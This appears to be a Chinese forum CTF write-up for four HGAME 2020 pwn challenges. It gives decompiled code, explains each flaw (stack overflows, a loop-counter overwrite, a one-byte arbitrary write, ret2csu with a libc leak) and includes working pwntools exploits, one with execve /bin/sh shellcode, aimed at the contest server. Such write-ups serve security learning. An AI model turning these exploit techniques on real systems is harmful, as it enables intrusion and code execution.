首页
论坛
课程
招聘
[原创]2020HGAME Week1 Pwn WP
2020-1-25 19:54 3933

[原创]2020HGAME Week1 Pwn WP

2020-1-25 19:54
3933

比赛地址 https://hgame.vidar.club/
目前已开启第二周比赛,所以第一周flag交了也不会得分,于是就把自己week1的pwn wp放出来,各位师傅有更好的思路欢迎交流

Hard_AAAAA

分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-ACh]
  char v5; // [esp+7Bh] [ebp-31h]
  unsigned int v6; // [esp+A0h] [ebp-Ch]
  int *v7; // [esp+A4h] [ebp-8h]

  v7 = &argc;
  v6 = __readgsdword(0x14u);
  setbuf(_bss_start, 0);
  memset(&s, 0, 160u);
  puts("Let's 0O0o\\0O0!");
  gets(&s);
  if ( !memcmp(&byte_80486E0, &v5, 7u) )
    backdoor();
  return 0;
}

要求输出从v5开始与七位字符串比较,字符串为

.rodata:080486E0 byte_80486E0    db 30h                  ; DATA XREF: main+85↑o
.rodata:080486E1                 db  4Fh ; O
.rodata:080486E2                 db  30h ; 0
.rodata:080486E3                 db  6Fh ; o
.rodata:080486E4                 db    0
.rodata:080486E5                 db 4Fh
.rodata:080486E6                 db  30h ; 0

因此直接填充到v5位置然后写入即可

exp

from pwn import *

p=remote('47.103.214.163', 20000)
#p=process('./Hard_AAAAA')

p.recvuntil('Let\'s 0O0o')
payload = 'a'*123+'0O0o'+'\x00'+'O0'
p.sendline(payload)

p.interactive()

Number_Killer

分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[11]; // [rsp+0h] [rbp-60h]
  int i; // [rsp+5Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  memset(v4, 0, 0x50uLL);
  puts("Let's Pwn me with numbers!");
  for ( i = 0; i <= 19; ++i )           //////可写0x13*8
    v4[i] = readll();
  return 0;
}
__int64 readll()
{
  char nptr[8]; // [rsp+0h] [rbp-20h]
  __int64 v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  *(_QWORD *)nptr = 0LL;
  v2 = 0LL;
  v3 = 0;
  v4 = 0;
  for ( i = 0; read(0, &nptr[i], 1uLL) > 0 && i <= 19 && nptr[i] != 10; ++i )
    ;
  return atoll(nptr);     /////////转换为长整数
}

sub     rsp, 60h

因此存在栈溢出

.text:0000000000400761 loc_400761:                             ; CODE XREF: main+8A↓j
.text:0000000000400761                 mov     eax, 0
.text:0000000000400766                 call    readll
.text:000000000040076B                 mov     rdx, rax
.text:000000000040076E                 mov     eax, [rbp+var_4]
.text:0000000000400771                 cdqe
.text:0000000000400773                 mov     [rbp+rax*8+var_60], rdx
.text:0000000000400778                 add     [rbp+var_4], 1
.text:000000000040077C
.text:000000000040077C loc_40077C:                             ; CODE XREF: main+69↑j
.text:000000000040077C                 cmp     [rbp+var_4], 13h
.text:0000000000400780                 jle     short loc_400761
.text:0000000000400782                 mov     eax, 0
.text:0000000000400787                 leave
.text:0000000000400788                 retn
-0000000000000060 var_60          dq 11 dup(?)            ;输入
-0000000000000008                 db ? ; undefined
-0000000000000007                 db ? ; undefined
-0000000000000006                 db ? ; undefined
-0000000000000005                 db ? ; undefined
-0000000000000004 var_4           dd ?                    ;循环数
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
.text:0000000000400789 gift            proc near
.text:0000000000400789 ; __unwind {
.text:0000000000400789                 push    rbp
.text:000000000040078A                 mov     rbp, rsp
.text:000000000040078D                 jmp     rsp
.text:000000000040078D gift            endp

栈溢出覆盖后可修改循环数,但如果想修改ret,就必须改为 c00000000 。

 

ret到gift上后jmp rsp跳转到ret下一地址,在ret后还有6次循环,足够我们shellcode实现ret2shellcode

 

但shellcode一次只能输入20位数字,因此payload需要截断

 

但我刚好找到了可以直接手写的shellcode

 

直接看exp吧

exp

from pwn import *
context.log_level = "debug"

#p=process('./Number_Killer')
p=remote('47.103.214.163', 20001)

p.recvuntil('Let\'s Pwn me with numbers!')
for i in range(12):
    p.sendline('51539607552') #c 0000 0000
p.sendline('4196237') # gift
#gdb.attach(p,'break *0x400773')
#pause()
'''
    .global _start
_start:
    # char *const argv[]
    xorl %esi, %esi

    # 'h' 's' '/' '/' 'n' 'i' 'b' '/'
    movq $0x68732f2f6e69622f, %rbx

    # for '\x00'
    pushq %rsi

    pushq %rbx

    pushq %rsp
    # const char *filename
    popq %rdi

    # __NR_execve 59
    pushq $59
    popq %rax

    # char *const envp[]
    xorl %edx, %edx
    syscall
'''
#  char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
#    "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

p.sendline('7955998173871797809')
p.sendline('6869206962231521071')
p.sendline('1424770328968042')
p.sendline('0')
p.sendline('0')
p.sendline('0')

p.interactive()

One_Shot

分析

int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [rsp+8h] [rbp-18h]
  int fd[2]; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = 0LL;
  *(_QWORD *)fd = open("./flag", 0, envp);
  setbuf(stdout, 0LL);
  read(fd[0], &flag, 0x1EuLL);
  puts("Firstly....What's your name?");
  __isoc99_scanf("%32s", &name);
  puts("The thing that could change the world might be a Byte!");
  puts("Take tne only one shot!");
  __isoc99_scanf("%d", &v4);
  *v4 = 1;                    ################## 任意写1字节
  puts("A success?");
  printf("Goodbye,%s", &name);
  return 0;
}
mov     edi, offset aD  ; "%d"
mov     eax, 0
call    ___isoc99_scanf
mov     rax, [rbp+var_18]
mov     byte ptr [rax], 1                        ;  任意写一字节
mov     edi, offset aASuccess ; "A success?"
call    _puts
mov     esi, offset name
mov     edi, offset format ; "Goodbye,%s"

查看bss段发现

.bss:00000000006010C0 name            db    ? ;               ; DATA XREF: main+6C↑o
.bss:00000000006010C0                                         ; main+BB↑o
.bss:00000000006010C1                 db    ? ;
.bss:00000000006010C2                 db    ? ;
                            ...
.bss:00000000006010DE                 db    ? ;
.bss:00000000006010DF                 db    ? ;
.bss:00000000006010E0                 public flag
.bss:00000000006010E0 flag            db    ? ;               ; DATA XREF: main+56↑o
.bss:00000000006010E1                 db    ? ;
.bss:00000000006010E2                 db    ? ;
                            ...

因此如果将name的\n写为1就可以在后面printf时直接把flag泄露出来。

exp

from pwn import *
context.log_level = "debug"

#p=process('./One_Shot')
p=remote('47.103.214.163', 20002)

payload = 'a'*32
add=6295776
p.recvuntil('Firstly....What\'s your name?')
p.sendline(payload)
p.recvuntil('Take tne only one shot!')
p.sendline(str(add))

p.interactive()

ROP_LEVEL0

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-50h]
  int v6; // [rsp+38h] [rbp-18h]
  int fd[2]; // [rsp+48h] [rbp-8h]

  memset(&buf, 0, 0x38uLL);
  v6 = 0;
  setbuf(_bss_start, 0LL);
  v3 = open("./some_life_experience", 0);
  *(_QWORD *)fd = v3;
  read(v3, &buf, 0x3CuLL);
  puts(&buf);
  read(0, &buf, 0x100uLL);
  return 0;
}

buf只有0x50,因此栈溢出,但开了NX,不能直接ret2shellcode

 

查看其他函数,发现 _libc_csu_init 因此尝试利用ret2csu https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/

 

直接套模板就好

exp

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
sh = remote('47.103.214.163',20003)
# context.log_level = 'debug'

elf = ELF('./ROP_LEVEL0')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
info("puts_got = 0x%x",puts_got)
pading='A'*0x58
vul_addr = 0x400636
sh.recvuntil('./flag')
sh.sendline(pading+p64(vul_addr))

csu_front_addr=0x400730
csu_end_addr = 0x40074A
pop_rdi_ret=0x400753

def csu(rbx, rbp, r12, r13, r14, r15, last):
    payload = 'B'*24
    payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
    payload += p64(csu_front_addr)
    payload += p64(last)*8
    sh.sendline(payload)

#0x0000000000400753 : pop rdi ; ret
#0x0000000000400751 : pop rsi ; pop r15 ; ret
csu(0, 1, puts_got, puts_got, puts_got, puts_got, vul_addr)
sh.recvline()
puts_addr = u64(str(sh.recv(6)+'\x00\x00'))
info("leak puts_addr = 0x%x",puts_addr)

obj = LibcSearcher('puts',puts_addr)
puts_offset= obj.dump('puts')
system_offset= obj.dump('system')
real_addres = puts_addr-puts_offset
info("leak libc_addr = 0x%x",real_addres)

binsh_offset = obj.dump('str_bin_sh')
system = real_addres+system_offset
binsh=real_addres+binsh_offset
info('leak system_addr = 0x%x',libc.sym['system'])
info('leak bin_sh_addr = 0x%x',libc.search('/bin/sh').next())

payload2 = 'A'*24 + p64(pop_rdi_ret) +p64(binsh) + p64(system)
sh.sendline(payload2)

sh.interactive()

[培训]12月3日2020京麒网络安全大会《物联网安全攻防实战》训练营,正在火热报名中!地点:北京 · 新云南皇冠假日酒店

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 2112
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
mb_xghoecki 活跃值 2020-1-26 17:47
2
2
感谢!!学习了
游客
登录 | 注册 方可回帖
返回